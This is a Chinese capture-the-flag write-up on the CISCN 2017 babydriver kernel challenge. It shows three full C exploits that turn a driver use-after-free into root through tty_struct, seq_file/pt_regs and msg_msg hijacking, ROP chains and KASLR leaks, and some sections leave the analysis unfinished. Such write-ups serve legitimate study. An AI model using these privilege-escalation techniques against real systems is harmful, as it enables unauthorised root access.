【kernel-pwn】一题多解:从CISCN2017-babydriver入门题带你学习tty_struct、seq_file、msg_msg、pt_regs的利用

前言

本文所用的内核为题目所给的内核,版本为 4.4.72,没有引入 kpti 保护。但是这丝毫不影响以下方法在其他部分版本内核的利用,如果有 kpti 保护,最后返回用户态时用 swapgs_restore_regs_and_return_to_usermode 函数即可。还是就是这里并不讲解直接 fork 修改 cred 结构体的利用方式。

参考:

在 2021 年再看 ciscn_2017 - babydriver(上):cred 与 tty_struct 提权手法浅析-安全客 - 安全资讯平台

在 2021 年再看 ciscn_2017 - babydriver(下):KPTI bypass、ldt_struct 的利用、pt_regs 通用内核ROP解法-安全客 - 安全资讯平台

第五届强网杯线上赛冠军队 WriteUp - Pwn 篇 - 知乎 

 漏洞分析

babayioctl

释放全局变量 babydev_struct 中的 device_buf,然后又重新申请了一个 arg_len 大小的堆块,这里没有限制堆块的大小

babyrelease

当关闭对应设备文件时,释放了全局变量 babydev_struct 中的 device_buf、但是并没有将其置空。如果我们打开两次,并将一个关闭,但是另一个还是可以操作此内存区域

babyread、babywrite

两者的功能如下:

len <= babydev_struct.device_buf_len

babyread:
copy_to_user(user_buf, babydev_struct.device_buf, len)

babywrite:
copy_from_user(babydev_struct.device_buf, user_buf, len)

漏洞很明显,任意大小的 UAF,并且有读写的能力。

漏洞利用

tty_struct -- smep+kaslr

当然也可以利用 tty_struct+pt_regs 去打,但是下面的 seq_file 就是利用的 pt_regs,所以这里这不展示了。

在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,该结构体中存放着函数指针的结构体 tty_operations。

其中 tty_struct 大小为 0x2e0, 由 kmalloc-1k 分配,分配方式为 GFP_KERNEL_ACCOUNT。

#define TTY_MAGIC        0x5401

struct tty_struct {
	int	magic;
	struct kref kref; //其实就是一个int
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
    ...
}

 其中 tty_operations 会被初始化为全局变量 ptm_unix98_ops  或 pty_unix98_ops,因此我们可以通过 tty_operations 来泄露内核基址。

tty_struct+栈迁移

我们可以通过 UAF 劫持 tty_struct、然后利用 babyread 功能读取 tty_operations 的值从而泄漏内核基地址。

然后由于没有开启 smap 保护,所以可以直接伪造 tty_operations。利用 babywrite 去修改 tty_struct 的 tty_operations 为我们伪造的 tty_operations,最后在将栈迁移到 rop 链的位置即可。

如何进行栈迁移呢?

经过调试发现当执行 tty_operations->write 时,rax 指向的就是 fake_ops。所以我们可以找到一条有 mov rsp, rax;ret 效果的gadget 将栈劫持到 fake_ops 上,但是 fake_ops 上空间较小不足以布置下我们的 rop 链,所以我们可以再次将栈直接劫持到 rop 链的位置。

tty_strcut+wrok_for_cpu_fn -- 不用绕过 kpti 保护

其实我们控制了 tty_struct 结构体后,不用这么麻烦地去进行栈迁移啥的。我们可以利用 work_for_cpu_fn。

在开启了多核支持的内核中都有这个函数,定义于 kernel/workqueue.c 中:

#define container_of(ptr, type, member) ({          \
	const typeof(((type *)0)->member)*__mptr = (ptr);    \
		     (type *)((char *)__mptr - offsetof(type, member)); })

struct work_for_cpu {
    struct work_struct work;
    long (*fn)(void *);
    void *arg;
    long ret;
};

static void work_for_cpu_fn(struct work_struct *work)
{
    struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);

    wfc->ret = wfc->fn(wfc->arg);
}

该函数可以理解为如下形式:

static void work_for_cpu_fn(size_t * args)
{
    args[6] = ((size_t (*) (size_t)) (args[4](args[5]));
}

 我们又可以看下函数表:

可以发现当我们执行相关函数时,其第一个参数都是 tty_struct,而 tty_struct 又是我们可以控制的,所以就可以直接在内核中执行相关提权函数了,而无需绕过 smep 等保护

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    unsigned int (*write_room)(struct tty_struct *tty);
    unsigned int (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
......

与之前不同的是在这里选择劫持 tty_operations 中的 ioctl 而不是 write,因为 tty_struct[4] 处成员ldisc_sem 为信号量,在执行到 work_for_cpu_fn 之前该值会被更改

需要注意的是 tty_operations 中的 ioctl 并不是直接执行的,此前需要经过多道检查,因此我们应当传入恰当的参数,这里直接用长亭师傅wp里面的参数就行了。

需要注意的是,由于 tty_struct 的结构体已经被我们破坏,所以最后还得恢复

exp:

上面两个方法写在一起的

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>

#define PTM_UNIX98_OPS 0xffffffff81a74f80
#define PTY_UNIX98_OPS 0xffffffff81a74e60
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
//size_t swapgs_restore_regs_and_return_to_usermode =

size_t user_cs, user_rflags, user_rsp, user_ss;

void save_status()
{
        asm(
        "mov %cs, user_cs;"
        "mov %ss, user_ss;"
        "mov %rsp, user_rsp;"
        "pushf;"
        "pop user_rflags;");
//      puts("save status successfully");
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

int fd[5];
size_t buf[0x300] = { 0 };
char old_tty[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {
        long mtype;
        char mtext[1];
};

void baby_ioctl(int lfd, size_t len)
{
        ioctl(lfd, 0x10001, len);
}

void get_root_privilege()
{
        void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;
        int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;
        (*commit_creds)((*prepare_kernel_cred)(NULL));
}

void get_root_shell()
{
        printf("UID: %d\n", getuid());
        if (!getuid())
                puts("Root Root"), execl("/bin/sh", "sh", NULL);
        else puts("Failed to get root privilege"), exit(-1);
}

void fix_tty()
{
        printf("UID: %d\n", getuid());
        binary_dump("tty_struct", old_tty, 0x2d0);
        write(fd[1], old_tty, 0x2d0);
        close(fd[2]);
        puts("Success 1");
//      int qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
//      char msg[0x800];
//      memset(buf, 'A', 0x800);
//      ((struct msg_buf*)msg)->mtype = 1;
//      msgsnd(qid, msg, 0x2b0, 0);
        close(fd[1]);
        puts("Success 2");
        get_root_shell();
        puts("SUccess 3");
}

void return_user()
{
        asm(
        "push %0;"
        "push %1;"
        "push %2;"
        "push %3;"
        "push %4;"
        "iretq;"
        :
        :"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell)
        );
}

int main(int argc, char** argv, char** env)
{
        save_status();

        fd[0] = open("/dev/babydev", O_RDWR);
        fd[1] = open("/dev/babydev", O_RDWR);

        baby_ioctl(fd[0], 0x2e0);
        close(fd[0]);

        fd[2] = open("/dev/ptmx", O_RDWR);

        read(fd[1], old_tty, 0x2d0);
//      binary_dump("tty_struct", old_tty, 0x2e0);
        read(fd[1], buf, 0x40);
        if ((*((int*)buf)) != 0x5401) puts("No alloc tty_struct by UAF"), exit(-1);

        size_t ops = buf[3];
        if ((ops&0xfff) == (PTM_UNIX98_OPS&0xfff))
        puts("ptm_unix98_ops"), kernel_offset = ops - PTM_UNIX98_OPS;
        else if ((ops&0xfff) == (PTY_UNIX98_OPS&0xfff))
        puts("pty_unix98_ops"), kernel_offset = ops - PTY_UNIX98_OPS;
        else puts("error ops"), exit(-1);

        printf("kernel_offset: %#lx\n", kernel_offset);
        printf("tty_struct->ops: %#lx\n", ops);

        size_t rop[0x30];
        int i = 0;
//      rop[i++] = POP_RDI+kernel_offset;
//      rop[i++] = 0x6f0;
//      rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = get_root_privilege;
        rop[i++] = POP_RDI+kernel_offset;

//      rop[i++] = 0;
//      rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
//      rop[i++] = POP_RDX+kernel_offset;
//      rop[i++] = COMMIT_CREDS+kernel_offset;
//      rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;

        rop[i++] = INIT_CRED+kernel_offset;
        rop[i++] = COMMIT_CREDS+kernel_offset;

        rop[i++] = SWAPGS+kernel_offset;
        rop[i++] = 0;

        rop[i++] = IRETQ+kernel_offset;
        rop[i++] = get_root_shell;
//      rop[i++] = fix_tty;
        rop[i++] = user_cs;
        rop[i++] = user_rflags;
        rop[i++] = user_rsp;
        rop[i++] = user_ss;

//      rop[i++] = return_user;

        size_t fake_ops[16] = { 0 };
// 栈迁移 start
//      for (i = 0; i < 8; i++) fake_ops[i] = MOV_RSP_RAX+kernel_offset;
//      fake_ops[0] = POP_RSP+kernel_offset;
//      fake_ops[0] = POP_RAX+kernel_offset;
//      fake_ops[1] = (size_t)rop;
//      printf("fake_ops->write: %#lx\n", fake_ops[7]);
// 栈迁移 end

        read(fd[1], buf, 0x40);
        buf[3] = fake_ops;

// work_for_cpu_fn
        buf[4] = COMMIT_CREDS+kernel_offset;
        buf[5] = INIT_CRED+kernel_offset;
        fake_ops[12] = WORK_FOR_CPU_FN+kernel_offset;
        printf("fake_ops->ioctl: %#lx\n", fake_ops[12]);

        printf("fake_ops: %#lx\n", fake_ops);
        write(fd[1], buf, 0x40);

//      binary_dump("buf", buf, 0x40);

// work_for_cpu_fn
        ioctl(fd[2], 233, 233);
        write(fd[1], old_tty, 0x2d0);
        close(fd[2]);
        system("/bin/sh");

// 栈迁移
//      write(fd[2], "", 1);
        return 0;
}

seq_file -- smep+smap+kaslr

由于 4.4.72 版本的内核没有 swapgs_restore_regs_and_return_to_usermode,所以还是得进行栈迁移。

当我们打开一个 stat 文件时(如/proc/self/stat)时,内核会为其创建一个 seq_file 结构体,该结构体由特定的内存池分配所以不好进行利用,但是该结构体中存在 seq_operations 字段,其为该文件的函数表,该字段由 kmalloc-32分配,分配方式为 GFP_KERNEL_ACCOUNT

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

而其中的 start 等函数指针会被赋值为全局函数,如 start 会被赋值为 single_start,所以可以用来泄漏内核基地址。

而当我们对该文件进行 read 操作时,最后会调用到 seq_operations->start,所以如果我们可以修改 start,就可以劫持程序执行流,但是需要注意的是这里的参数是不可控的。 

seq_file+pt_regs+栈迁移

如果开启了 smap 保护呢?那通过劫持 tty_struct 伪造 tty_operations 的方法就失效了。

这时候,我们可以选择 seq_file 结构体进行利用。

分析后面再写,有点事

exp:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>

#define SINGLE_START 0xffffffff8122f4d0
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
#define ADD_RSP_XXX 0xFFFFFFFF812743A5
#define ADD_RSP_0x40 0xffffffff8109536e // add rsp, 0x30 ; pop rbx ; pop rbp ; ret
//size_t swapgs_restore_regs_and_return_to_usermode =

size_t user_cs, user_rflags, user_rsp, user_ss;

void save_status()
{
        asm(
        "mov %cs, user_cs;"
        "mov %ss, user_ss;"
        "mov %rsp, user_rsp;"
        "pushf;"
        "pop user_rflags;");
//      puts("save status successfully");
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

int fd[5];
size_t buf[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {
        long mtype;
        char mtext[1];
};

void baby_ioctl(int lfd, size_t len)
{
        ioctl(lfd, 0x10001, len);
}

void get_root_privilege()
{
        void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;
        int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;
        (*commit_creds)((*prepare_kernel_cred)(NULL));
}

void get_root_shell()
{
        printf("UID: %d\n", getuid());
        if (!getuid())
                puts("Root Root"), execl("/bin/sh", "sh", NULL);
        else puts("Failed to get root privilege"), exit(-1);
}

void return_user()
{
        asm(
        "push %0;"
        "push %1;"
        "push %2;"
        "push %3;"
        "push %4;"
        "iretq;"
        :
        :"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell)
        );
}

int main(int argc, char** argv, char** env)
{
        save_status();

        fd[0] = open("/dev/babydev", O_RDWR);
        fd[1] = open("/dev/babydev", O_RDWR);

        baby_ioctl(fd[0], 0x20);
        close(fd[0]);

        fd[2] = open("/proc/self/stat", O_RDONLY);

        read(fd[1], buf, 0x18);
        binary_dump("seq_operations", buf, 0x20);

        kernel_offset = buf[0] - SINGLE_START;

        printf("kernel_offset: %#lx\n", kernel_offset);

        size_t rop[0x30];
        int i = 0;
//      rop[i++] = POP_RDI+kernel_offset;
//      rop[i++] = 0x6f0;
//      rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = get_root_privilege;
        rop[i++] = POP_RDI+kernel_offset;

//      rop[i++] = 0;
//      rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
//      rop[i++] = POP_RDX+kernel_offset;
//      rop[i++] = COMMIT_CREDS+kernel_offset;
//      rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;

        rop[i++] = INIT_CRED+kernel_offset;
        rop[i++] = COMMIT_CREDS+kernel_offset;

        rop[i++] = SWAPGS+kernel_offset;
        rop[i++] = 0;

        rop[i++] = IRETQ+kernel_offset;
        rop[i++] = get_root_shell;
//      rop[i++] = fix_tty;
        rop[i++] = user_cs;
        rop[i++] = user_rflags;
        rop[i++] = user_rsp;
        rop[i++] = user_ss;

//      rop[i++] = return_user;
        buf[0] = ADD_RSP_XXX+kernel_offset;
        printf("seq_operations->start: %#lx\n", buf[0]);
        write(fd[1], buf, 8);

        asm(
        "movq $0x11111111, %%r15\n\t"
        "movq $0x0, %%r14\n\t"
        "movq %1, %%r13\n\t"
        "movq $0x6f0, %%r12\n\t"
        "movq %2, %%rbp\n\t"
        "movq %0, %%rbx\n\t"
        "movq $0x77777777, %%r11\n\t"
        "movq %3, %%r10\n\t"
        "movq %4, %%r9\n\t"
        "movq $0xaaaaaaaa, %%r8\n\t"
        "movq $0xcccccccc, %%rcx\n\t"
        :
        :"r"(POP_RDI+kernel_offset),"r"(MOV_CR4_RDI_POP+kernel_offset),"r"(ADD_RSP_0x40+kernel_offset),"r"(POP_RSP+kernel_offset),"r"((size_t)rop)
        :
        );

        read(fd[2], buf, 8);

        return 0;
}

seq_file+msg_msg+shm_file_data+pt_regs+栈迁移 -- 不使用read函数

在前面的利用中,我们都可以通过 babayread 直接去泄漏内核基地址,但要是没有 babyread 这个功能呢?我们又该如何去泄漏内核基地址呢?

这里,我选择堆喷 shm_file_data 结构体,然后利用 msg_msg 结构体越界读去泄漏内核基地址。

分析后面再写,有点事

exp:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <asm/ldt.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>


#define SINGLE_START 0xffffffff8122f4d0
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
#define ADD_RSP_XXX 0xFFFFFFFF812743A5
#define ADD_RSP_0x40 0xffffffff8109536e // add rsp, 0x30 ; pop rbx ; pop rbp ; ret
#define SECONDARY_STARTUP_64 0xffffffff81000110

//size_t swapgs_restore_regs_and_return_to_usermode =

size_t user_cs, user_rflags, user_rsp, user_ss;

void save_status()
{
        asm(
        "mov %cs, user_cs;"
        "mov %ss, user_ss;"
        "mov %rsp, user_rsp;"
        "pushf;"
        "pop user_rflags;");
//      puts("save status successfully");
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

int fd[5];
size_t buf[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {
        long mtype;
        char mtext[1];
};

struct msg_header {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

void baby_ioctl(int lfd, size_t len)
{
        ioctl(lfd, 0x10001, len);
}

void get_root_privilege()
{
        void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;
        int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;
        (*commit_creds)((*prepare_kernel_cred)(NULL));
}

void get_root_shell()
{
        printf("UID: %d\n", getuid());
        if (!getuid())
                puts("Root Root"), execl("/bin/sh", "sh", NULL);
        else puts("Failed to get root privilege"), exit(-1);
}

void return_user()
{
        asm(
        "push %0;"
        "push %1;"
        "push %2;"
        "push %3;"
        "push %4;"
        "iretq;"
        :
        :"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell)
        );
}

int main(int argc, char** argv, char** env)
{
        save_status();

        fd[0] = open("/dev/babydev", O_RDWR);
        fd[1] = open("/dev/babydev", O_RDWR);
        fd[2] = open("/dev/babydev", O_RDWR);

        baby_ioctl(fd[0], 0x1000);
        close(fd[0]);

        int qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
        char message[0x2000] = { 0 };
        struct msg_buf* msg = (struct msg_buf*)message;
        msg->mtype = 1;
        memset(msg->mtext, 'A', 0x1020);
        msgsnd(qid, msg, 0x1020-0x30-0x8, 0);

        int shmid;
        char* shmaddr;
        for (int i = 0; i < 0x50; i++)
        {
                if ((shmid = shmget(IPC_PRIVATE, 0x1000, 0600)) == -1) puts("Failed to create shm"), exit(-1);
                shmaddr = shmat(shmid, NULL, 0);
                if (shmaddr == -1) puts("Failed to execve shmat"), exit(-1);
        }

        struct msg_header evil = { 0 };
        evil.l_next = 0xdeadbeef;
        evil.l_prev = 0xdeadbeef;
        evil.m_type = 1;
        evil.m_ts = 0x1400;

        write(fd[1], &evil, sizeof(evil)-0x10);
        msgrcv(qid, buf, 0x1400, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR);
        size_t init_ipc_ns = 0;
        for (int i = 0; i < 0x1400/8; i++)
        {
                if ((buf[i]&0xfff) == (0xffffffff81e93f60&0xfff))
                {
                        init_ipc_ns = buf[i];
                        break;
                }
        }
        binary_dump("OOB read", (char*)buf+0xfd0, 0x100);
        kernel_offset = init_ipc_ns - 0xffffffff81e93f60;
        printf("init_ipc_ns: %#lx\n", init_ipc_ns);
        printf("kernel_offset: %#lx\n", kernel_offset);

        baby_ioctl(fd[1], 0x20);
        close(fd[1]);

        fd[3] = open("/proc/self/stat", O_RDONLY);

        size_t rop[0x30];
        int i = 0;
//      rop[i++] = POP_RDI+kernel_offset;
//      rop[i++] = 0x6f0;
//      rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = get_root_privilege;
        rop[i++] = POP_RDI+kernel_offset;

//      rop[i++] = 0;
//      rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
//      rop[i++] = POP_RDX+kernel_offset;
//      rop[i++] = COMMIT_CREDS+kernel_offset;
//      rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;

        rop[i++] = INIT_CRED+kernel_offset;
        rop[i++] = COMMIT_CREDS+kernel_offset;

        rop[i++] = SWAPGS+kernel_offset;
        rop[i++] = 0;

        rop[i++] = IRETQ+kernel_offset;
        rop[i++] = get_root_shell;
//      rop[i++] = fix_tty;
        rop[i++] = user_cs;
        rop[i++] = user_rflags;
        rop[i++] = user_rsp;
        rop[i++] = user_ss;

//      rop[i++] = return_user;
        buf[0] = ADD_RSP_XXX+kernel_offset;
        printf("seq_operations->start: %#lx\n", buf[0]);
        write(fd[2], buf, 8);

        asm(
        "movq $0x11111111, %%r15\n\t"
        "movq $0x0, %%r14\n\t"
        "movq %1, %%r13\n\t"
        "movq $0x6f0, %%r12\n\t"
        "movq %2, %%rbp\n\t"
        "movq %0, %%rbx\n\t"
        "movq $0x77777777, %%r11\n\t"
        "movq %3, %%r10\n\t"
        "movq %4, %%r9\n\t"
        "movq $0xaaaaaaaa, %%r8\n\t"
        "movq $0xcccccccc, %%rcx\n\t"
        :
        :"r"(POP_RDI+kernel_offset),"r"(MOV_CR4_RDI_POP+kernel_offset),"r"(ADD_RSP_0x40+kernel_offset),"r"(POP_RSP+kernel_offset),"r"((size_t)rop)
        :
        );

        read(fd[3], buf, 8);

        return 0;
}

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值